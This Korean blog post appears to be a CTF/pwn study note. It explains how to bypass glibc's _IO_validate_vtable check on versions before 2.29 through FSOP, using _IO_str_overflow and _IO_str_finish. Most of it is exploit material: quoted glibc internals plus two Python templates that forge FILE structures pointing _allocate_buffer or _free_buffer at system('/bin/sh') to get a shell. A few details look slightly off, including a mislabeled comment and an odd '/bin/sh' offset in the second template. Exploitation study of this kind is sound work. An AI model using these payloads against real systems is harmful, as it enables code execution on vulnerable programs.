이번 포스팅은 vtable의 종류와 _IO_vatlidate_vtable의 검증 과정을 우회하는 방법 중 glibc 2.29 이전 버전에서 사용 가능한 _IO_str_overflow, _IO_str_finish를 이용한 우회 익스플로잇 방법에 대한 것이다.
_IO_str_jumps (vtable 구조)
const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_str_finish), // fclose()
JUMP_INIT(overflow, _IO_str_overflow),
JUMP_INIT(underflow, _IO_str_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_str_pbackfail),
JUMP_INIT(xsputn, _IO_default_xsputn), // fwrite()
JUMP_INIT(xsgetn, _IO_default_xsgetn), // fread()
JUMP_INIT(seekoff, _IO_str_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_default_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};

gdb로도 확인이 가능하다.
how2exploit?
입출력, 파일 관련 함수를 사용하면 IO_FILE 구조체 안의 vtable을 참조하게 된다.
각 함수별로 참조하는 vtable 내에서의 경로가 정해져 있다. 이를 vtable이 주어지면 offset으로 참조하게 되는데, 그점을 이용해 원하는 경로를 참조할 수 있게 된다. 만약 조작된 vtable 경로에 취약점이 존재한다면, 또한 그에 맞게 file struct를 잘 조작한다면 공략이 가능해진다.
예를들어 IO_str_overflow나 IO_str_finish 같은 함수들이 있다.
해당 함수들은 인자 1개를 가진 함수이기 때문에 조작이 가능하다면 쉘을 실행시키는게 가능하다.
또 분석해서 2~ 3개의 인자가 필요한 함수를 호출할 경우 그에 맞는 함수를 또 호출하여 leak이나 변조도 가능하다.


IO_list_all은 libio내부 전역변수로, 모든 열린 FILE 객체들의 연결리스트의 헤드포인터이다.
glibc의 FILE구조체(struct _IO_FILE_plus) 는 _chain이라는 포인터 필드를 갖고 있다. 해당 필드를 통해 FILE 구조체들은 단방향 연결리스트를 이루는데, 이 전역변수 IO_list_all이 이 리스트의 첫 스트림을 가리킨다(stdout같은 기본 스트림).
_IO_validate_vtable()
glibc 2.24버전 이상에서 적용된 IO_validate_vtable()함수로 인해 vtable의 주소가 실제 vtable 영역에 속하는지 검증하는 과정이 존재한다. 때문에 우리는 대부분의 바이너리에서 해당 함수를 우회해야 한다.
기존에는 vtable 위치에 호출하는 함수가 참조하는 offset에 따라 예를들어 system addr - offset 과 같이 삽입하여 익스가 가능해 졌으나 2.24버전 이후 vtable 영역에 속한 테이블로 우회를 진행해야한다.
vtable 종류
IO_file_jumps
- 가장 기본적인 vtable이다. 보통 fopen(), fwrite(), fread(), fprintf() 등은 여기로 들어온다.
- 주요 함수 : IO_file_overflow, IO_file_underflow, IO_file_xsputn, IO_file_xsgetn 등
- 익스 예시 : IO_file_jumps + offset으로 특정 함수를 직접 트리거(IO_file_overflow 등)
IO_wfile_jumps
- wide-oriented(와이드 스트림 용) vtable이다. fputwc 같은 입출력 함수가 여기로 들어온다.
- 주요 함수 : IO_wfile_overflow, IO_wfile_underflow, IO_wfile_seekoff 등
- __wide_data 필드에 연결 되므로, fake __IO_wide_data 구조체를 만들고 vtable을 변조해서 진입 가능
- 익스 예시 : fp→__wide_data→_wide_vtable→_IO_wfile_jumps-offset과 같은 식으로 변조, IO_wdoallocbuf→_IO_WDOALLOCATE→call system
IO_str_jumps
- fmemopen 같은 메모리 스트림에 사용된다.
- 주요 함수 : IO_str_overflow, IO_str_underflow, IO_str_finish
- 보통 heap-based fake FILE struct + IO_str_jumps..
- house of apple2, house of banana 등에서 활용된다.
IO_cookie_jumps
- cookie 기반 스트림에서 사용된다.
- 함수 포인터 테이블이 직접 사용자 제공 함수로 연결된다.
- 트리거 하기 위해서는 cookie_io_function_t 구조체를 세팅할 필요가 있다.
validate_vtable 여러가지 우회
호출하는 함수가 vtable + 0x10의 경로를 참조한다고 하자.
IO_str_overflow 이용(IO_str_jumps 내)
vtable 영역에 IO_str_overflow()의 주소가 담긴 주소 - 0x10의 값을 넣어줘야 한다.

IO_str_overflow는 IO_str_jumps vtable 내부에 존재하며, IO_file_jumps + 0xd8 위치에 존재한다.
아 참고로 덤프를 떠보면 많은 vtable들이 libc내에 인접해 위치하는 것을 볼 수 있다.
int
_IO_str_overflow (_IO_FILE *fp, int c)
{
int flush_only = c == EOF;
_IO_size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
(*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, '\0', new_size - old_blen);
_IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
}
if (!flush_only)
*fp->_IO_write_ptr++ = (unsigned char) c;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
return c;
}
IO_str_overflow의 소스코드이다.
- NO_WRITES, USER_BUF flags == 0
- IO_write_ptr - IO_write-base ≥ IO_blen(IO_buf_end - IO_buf_base) + flush_only(0 or 1)
- new_size(IO_blen*2 + 100) ≥ IO_blen → IO_buf_end - IO_buf_base ≥ -100
- 위 조건들을 만족하게되면 s.allocate_buffer(new_size)를 호출하게 되는데, s.allocate_buffer()함수는 vtable + 8의 위치를 참조하므로 vtable + 8의 위치를 참조하므로 해당 주소를 원가젯으로 덮거나, system함수로 덮는다면 new_size(IO_blen*2 + 100)에 “/bin/sh” 문자열의 주소를 넣는다면 쉘을 실행시킬 수 있다.
템플릿을 이용한다면 다음과 같이 넣을 수 있겠다.
def FSOP_struct(flags=0, _IO_read_ptr=0, _IO_read_end=0, _IO_read_base=0,
_IO_write_base=0, _IO_write_ptr=0, _IO_write_end=0, _IO_buf_base=0, _IO_buf_end=0,
_IO_save_base=0, _IO_backup_base=0, _IO_save_end=0, _markers=0, _chain=0, _fileno=0,
_flags2=0, _old_offset=0, _cur_column=0, _vtable_offset=0, _shortbuf=0, lock=0,
_offset=0, _codecvt=0, _wide_data=0, _freeres_list=0, _freeres_buf=0,
__pad5=0, _mode=0, _unused2=b"", vtable=0, more_append=b""):
FSOP = p64(flags) + p64(_IO_read_ptr) + p64(_IO_read_end) + p64(_IO_read_base)
FSOP += p64(_IO_write_base) + p64(_IO_write_ptr) + p64(_IO_write_end)
FSOP += p64(_IO_buf_base) + p64(_IO_buf_end) + p64(_IO_save_base) + p64(_IO_backup_base) + p64(_IO_save_end)
FSOP += p64(_markers) + p64(_chain) + p32(_fileno) + p32(_flags2)
FSOP += p64(_old_offset) + p16(_cur_column) + p8(_vtable_offset) + p8(_shortbuf) + p32(0x0)
FSOP += p64(lock) + p64(_offset) + p64(_codecvt) + p64(_wide_data) + p64(_freeres_list) + p64(_freeres_buf)
FSOP += p64(__pad5) + p32(_mode)
if _unused2 == b"":
FSOP += b"\x00" * 0x14
else:
FSOP += _unused2[0x0:0x14].ljust(0x14, b"\x00")
FSOP += p64(vtable)
FSOP += more_append
return FSOP
FSOP = FSOP_struct(
flags=0xfbad0000,
lock=bss+0x300, # writable area
vtable=libc.sym['_IO_file_jumps']+0xd8 - 0x10, #_IO_str_overflow - 0x10
_IO_write_ptr = 0xffffffff,
_IO_write_base = 0,
_IO_buf_end = (next(libc.search(b'/bin/sh\x00') - 100) // 2,
_IO_buf_base = 0,
_mode = 0,
more_append = libc.sym['system'] #_s.allocate_buffer
)
참고) _mode 필드의 경우 vtable 계열에 따라서 달라지는데, 잘은 모르지만 초기에는 -1, IO_file_jumps 계열이면 0, IO_wfile_jumps 계열(wide 스트림)이면 0이상의 수를 사용한다고 한다.
IO_str_finish 이용(IO_str_jumps 내)
vtable 에는 IO_str_finish - 0x10을 넣어줘야 한다.
void _IO_str_finish (_IO_FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
fp->_IO_buf_base = NULL;
_IO_default_finish (fp, 0);
}
IO_str_finish의 코드이다.
- IO_buf_base && !(__flags & __IO_USER_BUF) == TRUE
- 위 조건이 참이어야 하는데, flags에 0을 넣으면 !0 == 1이 되고, IO_buf_base에 값을 넣으면 조건을 통과할 수 있다. 조건을 통과하면 s._free_buffer(IO_buf_base)를 호출하는데, s._free_buffer()는 vtable + 0x10위치의 주소를 참조하므로 해당 위치에 원가젯을 넣거나, system함수를 사용한다면 IO_buf_base에 “/bin/sh”문자열의 주소를 넣는다면 쉘이 실행될 것이다.
IO_str_finish는 IO_file_jumps + 0xd0에 위치한다.

마찬가지로 템플릿으로 정리하면 아래와 같다.
def FSOP_struct(flags=0, _IO_read_ptr=0, _IO_read_end=0, _IO_read_base=0,
_IO_write_base=0, _IO_write_ptr=0, _IO_write_end=0, _IO_buf_base=0, _IO_buf_end=0,
_IO_save_base=0, _IO_backup_base=0, _IO_save_end=0, _markers=0, _chain=0, _fileno=0,
_flags2=0, _old_offset=0, _cur_column=0, _vtable_offset=0, _shortbuf=0, lock=0,
_offset=0, _codecvt=0, _wide_data=0, _freeres_list=0, _freeres_buf=0,
__pad5=0, _mode=0, _unused2=b"", vtable=0, more_append=b""):
FSOP = p64(flags) + p64(_IO_read_ptr) + p64(_IO_read_end) + p64(_IO_read_base)
FSOP += p64(_IO_write_base) + p64(_IO_write_ptr) + p64(_IO_write_end)
FSOP += p64(_IO_buf_base) + p64(_IO_buf_end) + p64(_IO_save_base) + p64(_IO_backup_base) + p64(_IO_save_end)
FSOP += p64(_markers) + p64(_chain) + p32(_fileno) + p32(_flags2)
FSOP += p64(_old_offset) + p16(_cur_column) + p8(_vtable_offset) + p8(_shortbuf) + p32(0x0)
FSOP += p64(lock) + p64(_offset) + p64(_codecvt) + p64(_wide_data) + p64(_freeres_list) + p64(_freeres_buf)
FSOP += p64(__pad5) + p32(_mode)
if _unused2 == b"":
FSOP += b"\x00" * 0x14
else:
FSOP += _unused2[0x0:0x14].ljust(0x14, b"\x00")
FSOP += p64(vtable)
FSOP += more_append
return FSOP
FSOP = FSOP_struct(
lock=bss+0x300, # writable area
vtable=libc.sym['_IO_file_jumps']+0xd0 - 0x10, #_IO_str_overflow - 0x10
_IO_buf_base = (next(libc.search(b'/bin/sh\x00') - 100),
_mode = 0,
more_append = p64(0) + p64(libc.sym['system']) #_s._free_buffer
)
위 두가지 방법에서 이용하는 s.allocate_buffer와 s._free_buffer 함수는 IO_strfile 구조체로 캐스팅 되어있는데, 해당 구조체는 다음과 같다.
typedef struct _IO_strfile_
{
struct _IO_streambuf _sbf;
struct _IO_str_fields _s;
} _IO_strfile;
이 안에서 IO_str_fields를 보면 위에서 사용한 두 함수가 존재하는 것을 볼 수 있다.
struct _IO_str_fields
{
_IO_alloc_type _allocate_buffer;
_IO_free_type _free_buffer;
};
IO_FILE_plus가 IO_FILE - vtable - IO_str_fields와 같은 구조를 가지기 때문에 vtable + 0x8, 0x10위치의 함수를 참조하는 것이다.
Reference :
https://dig06161.github.io/2023/03/15/dreamhack-iofile_vtable_check/
[Dreamhack] PWN iofile_vtable_check
드림핵 포너블 iofile_vtable_check 문제풀이
dig06161.github.io
https://wyv3rn.tistory.com/114
Bypass IO_validate_vtable
그냥 대충 훑어보면 절대 이해 못한다. 자세히 읽어보고 이해가 되면 넘어가자. 원리 _IO_FILE 구조체에서는 vtable을 참조하는데, vtable 내 함수를 조작할 수 있다면 임의의 함수를 실행할 수 있다. *
wyv3rn.tistory.com
'PWN > 개념' 카테고리의 다른 글
| __run_exit_handler 이용한 exploit 간단 정리 (0) | 2025.09.02 |
|---|---|
| FSOP - _IO_WDOALLOCATE 를 이용한 익스플로잇 (1) | 2025.08.29 |
| FSOP - template/_flags (0) | 2025.08.27 |
| Format String Bug - AAW시 스택 값 사용 (1) | 2025.08.22 |
| ROP에서 dup2를 이용한 리버스쉘 (0) | 2025.08.20 |